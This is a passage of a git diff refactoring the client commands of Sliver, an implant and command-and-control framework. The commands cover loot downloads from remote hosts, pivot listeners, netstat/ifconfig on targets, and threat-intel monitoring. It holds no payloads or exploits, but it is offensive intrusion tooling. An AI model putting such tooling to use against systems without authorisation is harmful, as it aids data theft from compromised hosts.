LootCmd - The loot root command -func LootCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// LootCmd - The loot root command. +func LootCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { allLoot, err := con.Rpc.LootAll(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Failed to fetch loot %s\n", err) + con.PrintErrorf("Failed to fetch loot %s\n", con.UnwrapServerErr(err)) return } PrintAllFileLootTable(allLoot, con) } -// PrintAllFileLootTable - Displays a table of all file loot -func PrintAllFileLootTable(allLoot *clientpb.AllLoot, con *console.SliverConsoleClient) { +// PrintAllFileLootTable - Displays a table of all file loot. +func PrintAllFileLootTable(allLoot *clientpb.AllLoot, con *console.SliverClient) { if allLoot == nil || len(allLoot.Loot) == 0 { con.PrintInfof("No loot 🙁\n") return } tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Name", @@ -76,8 +77,8 @@ func PrintAllFileLootTable(allLoot *clientpb.AllLoot, con *console.SliverConsole con.Printf("%s\n", tw.Render()) } -// PrintLootFile - Display the contents of a piece of loot -func PrintLootFile(loot *clientpb.Loot, con *console.SliverConsoleClient) { +// PrintLootFile - Display the contents of a piece of loot. +func PrintLootFile(loot *clientpb.Loot, con *console.SliverClient) { if loot.File == nil { return } @@ -95,7 +96,7 @@ func PrintLootFile(loot *clientpb.Loot, con *console.SliverConsoleClient) { } } -// Any loot with a "File" can be saved to disk +// Any loot with a "File" can be saved to disk. func saveLootToDisk(cmd *cobra.Command, loot *clientpb.Loot) (string, error) { if loot.File == nil { return "", errors.New("loot does not contain a file") diff --git a/client/command/loot/remote.go b/client/command/loot/remote.go index ccaedbd8fb..91e53f5444 100644 --- a/client/command/loot/remote.go +++ b/client/command/loot/remote.go @@ -53,9 +53,9 @@ func ValidateLootFileType(lootFileTypeInput string, data []byte) clientpb.FileTy /* Eventually this function needs to be refactored out, but we made the decision to -duplicate it for now +duplicate it for now. */ -func PerformDownload(remotePath string, fileName string, cmd *cobra.Command, con *console.SliverConsoleClient) (*sliverpb.Download, error) { +func PerformDownload(remotePath string, fileName string, cmd *cobra.Command, con *console.SliverClient) (*sliverpb.Download, error) { ctrl := make(chan bool) con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, "loot"), ctrl) download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{ @@ -65,16 +65,15 @@ func PerformDownload(remotePath string, fileName string, cmd *cobra.Command, con ctrl <- true <-ctrl if err != nil { - return nil, err + return nil, con.UnwrapServerErr(err) } if download.Response != nil && download.Response.Async { - con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(download.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, download) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) } }) - con.PrintAsyncResponse(download.Response) } if download.Response != nil && download.Response.Err != "" { @@ -108,7 +107,7 @@ func CreateLootMessage(hostUUID string, fileName string, lootName string, lootFi return lootMessage } -func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) { +func SendLootMessage(loot *clientpb.Loot, con *console.SliverClient) { control := make(chan bool) con.SpinUntil(fmt.Sprintf("Sending looted file (%s) to the server...", loot.Name), control) @@ -116,7 +115,7 @@ func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) { control <- true <-control if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) } if loot.Name != loot.File.Name { @@ -126,7 +125,7 @@ func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) { } } -func LootDownload(download *sliverpb.Download, lootName string, fileType clientpb.FileType, cmd *cobra.Command, con *console.SliverConsoleClient) { +func LootDownload(download *sliverpb.Download, lootName string, fileType clientpb.FileType, cmd *cobra.Command, con *console.SliverClient) { // Was the download successful? if download.Response != nil && download.Response.Err != "" { con.PrintErrorf("%s\n", download.Response.Err) @@ -198,13 +197,13 @@ func LootDownload(download *sliverpb.Download, lootName string, fileType clientp } } -func LootText(text string, lootName string, lootFileName string, fileType clientpb.FileType, con *console.SliverConsoleClient) { +func LootText(text string, lootName string, lootFileName string, fileType clientpb.FileType, con *console.SliverClient) { lootMessage := CreateLootMessage(con.ActiveTarget.GetHostUUID(), lootFileName, lootName, fileType, []byte(text)) SendLootMessage(lootMessage, con) } // LootAddRemoteCmd - Add a file from the remote system to the server as loot -func LootAddRemoteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func LootAddRemoteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return diff --git a/client/command/loot/rename.go b/client/command/loot/rename.go index ad45133016..8b62de1b23 100644 --- a/client/command/loot/rename.go +++ b/client/command/loot/rename.go @@ -28,11 +28,11 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// LootRenameCmd - Rename a piece of loot -func LootRenameCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// LootRenameCmd - Rename a piece of loot. +func LootRenameCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { loot, err := SelectLoot(cmd, con.Rpc) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } oldName := loot.Name @@ -45,7 +45,7 @@ func LootRenameCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [] Name: newName, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Renamed %s -> %s\n", oldName, loot.Name) diff --git a/client/command/loot/rm.go b/client/command/loot/rm.go index fef220e102..afd57950d2 100644 --- a/client/command/loot/rm.go +++ b/client/command/loot/rm.go @@ -26,16 +26,16 @@ import ( "github.com/bishopfox/sliver/client/console" ) -func LootRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +func LootRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { loot, err := SelectLoot(cmd, con.Rpc) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } _, err = con.Rpc.LootRm(context.Background(), loot) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.Println() diff --git a/client/command/monitor/commands.go b/client/command/monitor/commands.go new file mode 100644 index 0000000000..5a3b74676f --- /dev/null +++ b/client/command/monitor/commands.go @@ -0,0 +1,61 @@ +package monitor + +import ( + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + monitorCmd := &cobra.Command{ + Use: consts.MonitorStr, + Short: "Monitor threat intel platforms for Sliver implants", + GroupID: consts.SliverHelpGroup, + } + + // Monitory run management + monitorCmd.AddCommand(&cobra.Command{ + Use: "start", + Short: "Start the monitoring loops", + Run: func(cmd *cobra.Command, args []string) { + MonitorStartCmd(cmd, con, args) + }, + }) + monitorCmd.AddCommand(&cobra.Command{ + Use: "stop", + Short: "Stop the monitoring loops", + Run: func(cmd *cobra.Command, args []string) { + MonitorStopCmd(cmd, con, args) + }, + }) + + // Configuration management + configCmd := &cobra.Command{ + Use: consts.MonitorConfigStr, + Short: "Configure monitor API keys", + Run: func(cmd *cobra.Command, args []string) { + MonitorConfigCmd(cmd, con, args) + }, + } + monitorCmd.AddCommand(configCmd) + + configCmd.AddCommand(&cobra.Command{ + Use: "add", + Short: "Add API key configuration", + Run: func(cmd *cobra.Command, args []string) { + MonitorAddConfigCmd(cmd, con, args) + }, + }) + + configCmd.AddCommand(&cobra.Command{ + Use: "del", + Short: "Remove API key configuration", + Run: func(cmd *cobra.Command, args []string) { + MonitorDelConfigCmd(cmd, con, args) + }, + }) + + return []*cobra.Command{monitorCmd} +} diff --git a/client/command/monitor/config.go b/client/command/monitor/config.go index 5dded70628..d11d2fc1f2 100644 --- a/client/command/monitor/config.go +++ b/client/command/monitor/config.go @@ -31,8 +31,7 @@ import ( "github.com/spf13/cobra" ) -func MonitorConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - +func MonitorConfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { resp, err := con.Rpc.MonitorListConfig(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("%s\n", err) @@ -41,8 +40,7 @@ func MonitorConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args PrintWTConfig(resp, con) } -func MonitorAddConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - +func MonitorAddConfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { apiKey, _ := cmd.Flags().GetString("apiKey") apiPassword, _ := cmd.Flags().GetString("apiPassword") apiType, _ := cmd.Flags().GetString("type") @@ -65,8 +63,7 @@ func MonitorAddConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a con.PrintInfof("Added monitoring configuration\n") } -func MonitorDelConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - +func MonitorDelConfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { resp, err := con.Rpc.MonitorListConfig(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintErrorf("%s\n", err) @@ -88,7 +85,7 @@ func MonitorDelConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a } // PrintWTConfig - Print the current watchtower configuration -func PrintWTConfig(configs *clientpb.MonitoringProviders, con *console.SliverConsoleClient) { +func PrintWTConfig(configs *clientpb.MonitoringProviders, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) @@ -114,7 +111,6 @@ func PrintWTConfig(configs *clientpb.MonitoringProviders, con *console.SliverCon } func selectWatchtowerConfig(configs *clientpb.MonitoringProviders) (*clientpb.MonitoringProvider, error) { - var options []string for _, config := range configs.Providers { options = append(options, config.Type) diff --git a/client/command/monitor/start.go b/client/command/monitor/start.go index d9133591e1..f722c9d8d7 100644 --- a/client/command/monitor/start.go +++ b/client/command/monitor/start.go @@ -27,11 +27,11 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// MonitorStartCmd - Start monitoring threat intel for implants -func MonitorStartCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// MonitorStartCmd - Start monitoring threat intel for implants. +func MonitorStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { resp, err := con.Rpc.MonitorStart(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if resp != nil && resp.Err != "" { diff --git a/client/command/monitor/stop.go b/client/command/monitor/stop.go index d4b553ea23..d1f595ee42 100644 --- a/client/command/monitor/stop.go +++ b/client/command/monitor/stop.go @@ -27,11 +27,11 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// MonitorStopCmd - Stop monitoring threat intel for implants -func MonitorStopCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// MonitorStopCmd - Stop monitoring threat intel for implants. +func MonitorStopCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { _, err := con.Rpc.MonitorStop(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Stopped monitoring threat intel platforms for implants hashes\n") diff --git a/client/command/network/commands.go b/client/command/network/commands.go new file mode 100644 index 0000000000..137e5f68c5 --- /dev/null +++ b/client/command/network/commands.go @@ -0,0 +1,49 @@ +package network + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + ifconfigCmd := &cobra.Command{ + Use: consts.IfconfigStr, + Short: "View network interface configurations", + Long: help.GetHelpFor([]string{consts.IfconfigStr}), + Run: func(cmd *cobra.Command, args []string) { + IfconfigCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("", false, ifconfigCmd, func(f *pflag.FlagSet) { + f.BoolP("all", "A", false, "show all network adapters (default only shows IPv4)") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + netstatCmd := &cobra.Command{ + Use: consts.NetstatStr, + Short: "Print network connection information", + Long: help.GetHelpFor([]string{consts.NetstatStr}), + Run: func(cmd *cobra.Command, args []string) { + NetstatCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("", false, netstatCmd, func(f *pflag.FlagSet) { + f.BoolP("tcp", "T", true, "display information about TCP sockets") + f.BoolP("udp", "u", false, "display information about UDP sockets") + f.BoolP("ip4", "4", true, "display information about IPv4 sockets") + f.BoolP("ip6", "6", false, "display information about IPv6 sockets") + f.BoolP("listen", "l", false, "display information about listening sockets") + f.BoolP("numeric", "n", false, "display numeric addresses (disable hostname resolution)") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{ifconfigCmd, netstatCmd} +} diff --git a/client/command/network/ifconfig.go b/client/command/network/ifconfig.go index 529b17d314..238582c0d6 100644 --- a/client/command/network/ifconfig.go +++ b/client/command/network/ifconfig.go @@ -35,8 +35,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// IfconfigCmd - Display network interfaces on the remote system -func IfconfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// IfconfigCmd - Display network interfaces on the remote system. +func IfconfigCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -45,12 +45,12 @@ func IfconfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } all, _ := cmd.Flags().GetBool("all") if ifconfig.Response != nil && ifconfig.Response.Async { - con.AddBeaconCallback(ifconfig.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(ifconfig.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, ifconfig) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -58,14 +58,13 @@ func IfconfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } PrintIfconfig(ifconfig, all, con) }) - con.PrintAsyncResponse(ifconfig.Response) } else { PrintIfconfig(ifconfig, all, con) } } -// PrintIfconfig - Print the ifconfig response -func PrintIfconfig(ifconfig *sliverpb.Ifconfig, all bool, con *console.SliverConsoleClient) { +// PrintIfconfig - Print the ifconfig response. +func PrintIfconfig(ifconfig *sliverpb.Ifconfig, all bool, con *console.SliverClient) { var err error interfaces := ifconfig.NetInterfaces sort.Slice(interfaces, func(i, j int) bool { @@ -75,6 +74,7 @@ func PrintIfconfig(ifconfig *sliverpb.Ifconfig, all bool, con *console.SliverCon for index, iface := range interfaces { tw := table.NewWriter() tw.SetStyle(settings.GetTableWithBordersStyle(con)) + settings.SetMaxTableSize(tw) tw.SetTitle(fmt.Sprintf(console.Bold+"%s"+console.Normal, iface.Name)) tw.SetColumnConfigs([]table.ColumnConfig{ {Name: "#", AutoMerge: true}, diff --git a/client/command/network/netstat.go b/client/command/network/netstat.go index e576c6e543..375806a50f 100644 --- a/client/command/network/netstat.go +++ b/client/command/network/netstat.go @@ -33,8 +33,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// NetstatCmd - Display active network connections on the remote system -func NetstatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// NetstatCmd - Display active network connections on the remote system. +func NetstatCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -59,11 +59,11 @@ func NetstatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str IP6: ip6, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if netstat.Response != nil && netstat.Response.Async { - con.AddBeaconCallback(netstat.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(netstat.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, netstat) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -71,13 +71,12 @@ func NetstatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str } PrintNetstat(netstat, implantPID, activeC2, numeric, con) }) - con.PrintAsyncResponse(netstat.Response) } else { PrintNetstat(netstat, implantPID, activeC2, numeric, con) } } -func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, numeric bool, con *console.SliverConsoleClient) { +func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, numeric bool, con *console.SliverClient) { lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string { addr := skaddr.Ip names, err := net.LookupAddr(addr) @@ -89,6 +88,7 @@ func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{"Protocol", "Local Address", "Foreign Address", "State", "PID/Program name"}) for _, entry := range netstat.Entries { diff --git a/client/command/operators/README.md b/client/command/operators/README.md deleted file mode 100644 index cb946e2b47..0000000000 --- a/client/command/operators/README.md +++ /dev/null @@ -1,6 +0,0 @@ -Operators -========== - -Operator related command implementations. - -__NOTE:__ Some operator-related commands are server-side only and are located instead in `server/console` diff --git a/client/command/operators/operators.go b/client/command/operators/operators.go deleted file mode 100644 index 792d227ca9..0000000000 --- a/client/command/operators/operators.go +++ /dev/null @@ -1,67 +0,0 @@ -package operators - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - - "github.com/spf13/cobra" - - "github.com/bishopfox/sliver/client/command/settings" - "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/commonpb" - - "github.com/jedib0t/go-pretty/v6/table" -) - -// OperatorsCmd - Display operators and current online status -func OperatorsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - operators, err := con.Rpc.GetOperators(context.Background(), &commonpb.Empty{}) - if err != nil { - con.PrintErrorf("%s\n", err) - } else if 0 < len(operators.Operators) { - displayOperators(operators.Operators, con) - } else { - con.PrintInfof("No remote operators connected\n") - } -} - -func displayOperators(operators []*clientpb.Operator, con *console.SliverConsoleClient) { - tw := table.NewWriter() - tw.SetStyle(settings.GetTableStyle(con)) - tw.AppendHeader(table.Row{ - "Name", - "Status", - }) - for _, operator := range operators { - tw.AppendRow(table.Row{ - console.Bold + operator.Name + console.Normal, - status(operator.Online), - }) - } - con.Printf("%s\n", tw.Render()) -} - -func status(isOnline bool) string { - if isOnline { - return console.Bold + console.Green + "Online" + console.Normal - } - return console.Bold + console.Red + "Offline" + console.Normal -} diff --git a/client/command/pivots/commands.go b/client/command/pivots/commands.go new file mode 100644 index 0000000000..f00f0eb3e2 --- /dev/null +++ b/client/command/pivots/commands.go @@ -0,0 +1,68 @@ +package pivots + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + pivotsCmd := &cobra.Command{ + Use: consts.PivotsStr, + Short: "List pivots for active session", + Long: help.GetHelpFor([]string{consts.PivotsStr}), + Run: func(cmd *cobra.Command, args []string) { + PivotsCmd(cmd, con, args) + }, + GroupID: consts.SliverCoreHelpGroup, + } + flags.Bind("", true, pivotsCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + pivotStopCmd := &cobra.Command{ + Use: consts.StopStr, + Short: "Stop a pivot listener", + Args: cobra.ExactArgs(1), + Long: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}), + Run: func(cmd *cobra.Command, args []string) { + StopPivotListenerCmd(cmd, con, args) + }, + } + pivotsCmd.AddCommand(pivotStopCmd) + + stopComs := completers.NewCompsFor(pivotStopCmd) + stopComs.PositionalCompletion(PivotIDCompleter(con).Usage("id of the pivot listener to stop")) + + pivotDetailsCmd := &cobra.Command{ + Use: consts.DetailsStr, + Short: "Get details of a pivot listener", + Long: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + PivotDetailsCmd(cmd, con, args) + }, + } + pivotsCmd.AddCommand(pivotDetailsCmd) + + detailsComps := completers.NewCompsFor(pivotDetailsCmd) + detailsComps.PositionalCompletion(PivotIDCompleter(con).Usage("ID of the pivot listener to get details for")) + + graphCmd := &cobra.Command{ + Use: consts.GraphStr, + Short: "Get pivot listeners graph", + Long: help.GetHelpFor([]string{consts.PivotsStr, "graph"}), + Run: func(cmd *cobra.Command, args []string) { + PivotsGraphCmd(cmd, con, args) + }, + } + pivotsCmd.AddCommand(graphCmd) + + return []*cobra.Command{pivotsCmd} +} diff --git a/client/command/pivots/details.go b/client/command/pivots/details.go index db21e9dde2..6808f3b925 100644 --- a/client/command/pivots/details.go +++ b/client/command/pivots/details.go @@ -21,6 +21,7 @@ package pivots import ( "context" "fmt" + "strconv" "github.com/jedib0t/go-pretty/v6/table" "github.com/spf13/cobra" @@ -30,8 +31,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// PivotDetailsCmd - Display pivots for all sessions -func PivotDetailsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// PivotDetailsCmd - Display pivots for all sessions. +func PivotDetailsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -40,7 +41,7 @@ func PivotDetailsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if pivotListeners.Response != nil && pivotListeners.Response.Err != "" { @@ -48,19 +49,24 @@ func PivotDetailsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args return } - id, _ := cmd.Flags().GetUint32("id") - if id == uint32(0) { + id, err := strconv.ParseUint(args[0], 10, 32) + if err != nil { + con.PrintErrorf("Failed to parse pivot ID: %s\n", err) + return + } + + if id == 0 { selectedListener, err := SelectPivotListener(pivotListeners.Listeners, con) if err != nil { con.PrintErrorf("%s\n", err) return } - id = selectedListener.ID + id = uint64(selectedListener.ID) } found := false for _, listener := range pivotListeners.Listeners { - if listener.ID == id { + if listener.ID == uint32(id) { PrintPivotListenerDetails(listener, con) found = true } @@ -70,8 +76,8 @@ func PivotDetailsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } } -// PrintPivotListenerDetails - Print details of a single pivot listener -func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.SliverConsoleClient) { +// PrintPivotListenerDetails - Print details of a single pivot listener. +func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.SliverClient) { con.Printf("\n") con.Printf(" ID: %d\n", listener.ID) con.Printf(" Protocol: %s\n", PivotTypeToString(listener.Type)) @@ -83,6 +89,7 @@ func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.Sl tw.SetStyle(settings.GetTableStyle(con)) tw.SetTitle(fmt.Sprintf(console.Bold+"%s Pivots"+console.Normal, PivotTypeToString(listener.Type))) tw.AppendSeparator() + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Remote Address", diff --git a/client/command/pivots/graph.go b/client/command/pivots/graph.go index 0c8ad0f3ce..e00e6cc495 100644 --- a/client/command/pivots/graph.go +++ b/client/command/pivots/graph.go @@ -29,11 +29,11 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// PivotsGraphCmd - Display pivots for all sessions -func PivotsGraphCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// PivotsGraphCmd - Display pivots for all sessions. +func PivotsGraphCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { graph, err := con.Rpc.PivotGraph(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/pivots/helpers.go b/client/command/pivots/helpers.go index b83f27a9b2..240a65bfa7 100644 --- a/client/command/pivots/helpers.go +++ b/client/command/pivots/helpers.go @@ -34,8 +34,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// SelectPivotListener - Interactive menu to select a pivot listener -func SelectPivotListener(listeners []*sliverpb.PivotListener, con *console.SliverConsoleClient) (*sliverpb.PivotListener, error) { +// SelectPivotListener - Interactive menu to select a pivot listener. +func SelectPivotListener(listeners []*sliverpb.PivotListener, con *console.SliverClient) (*sliverpb.PivotListener, error) { // Render selection table buf := bytes.NewBufferString("") table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0) @@ -67,15 +67,19 @@ func SelectPivotListener(listeners []*sliverpb.PivotListener, con *console.Slive } // PivotIDCompleter completes pivot listeners' IDs. -func PivotIDCompleter(con *console.SliverConsoleClient) carapace.Action { +func PivotIDCompleter(con *console.SliverClient) carapace.Action { callback := func(_ carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + results := make([]string, 0) pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{ Request: con.ActiveTarget.Request(con.App.ActiveMenu().Root()), }) if err != nil { - return carapace.ActionMessage("failed to get remote pivots: %s", err.Error()) + return carapace.ActionMessage("failed to get remote pivots: %s", con.UnwrapServerErr(err)) } for _, listener := range pivotListeners.Listeners { diff --git a/client/command/pivots/pivots.go b/client/command/pivots/pivots.go index a883bdbdab..c8eae4a12b 100644 --- a/client/command/pivots/pivots.go +++ b/client/command/pivots/pivots.go @@ -29,8 +29,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// PivotsCmd - Display pivots for all sessions -func PivotsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// PivotsCmd - Display pivots for all sessions. +func PivotsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -39,7 +39,7 @@ func PivotsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if pivotListeners.Response != nil && pivotListeners.Response.Err != "" { @@ -54,10 +54,11 @@ func PivotsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri } } -// PrintPivotListeners - Print a table of pivot listeners -func PrintPivotListeners(pivotListeners []*sliverpb.PivotListener, con *console.SliverConsoleClient) { +// PrintPivotListeners - Print a table of pivot listeners. +func PrintPivotListeners(pivotListeners []*sliverpb.PivotListener, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Protocol", @@ -75,7 +76,7 @@ func PrintPivotListeners(pivotListeners []*sliverpb.PivotListener, con *console. con.Printf("%s\n", tw.Render()) } -// PivotTypeToString - Convert a pivot type to a human string +// PivotTypeToString - Convert a pivot type to a human string. func PivotTypeToString(pivotType sliverpb.PivotType) string { switch pivotType { case sliverpb.PivotType_TCP: diff --git a/client/command/pivots/stop.go b/client/command/pivots/stop.go index 39caac33ab..356de26ce0 100644 --- a/client/command/pivots/stop.go +++ b/client/command/pivots/stop.go @@ -20,6 +20,7 @@ package pivots import ( "context" + "strconv" "github.com/spf13/cobra" @@ -27,20 +28,25 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// StopPivotListenerCmd - Start a TCP pivot listener on the remote system -func StopPivotListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// StopPivotListenerCmd - Start a TCP pivot listener on the remote system. +func StopPivotListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return } - id, _ := cmd.Flags().GetUint32("id") - if id == uint32(0) { + id, err := strconv.ParseUint(args[0], 10, 32) + if err != nil { + con.PrintErrorf("Failed to parse pivot ID: %s\n", err) + return + } + + if id == 0 { pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{ Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if 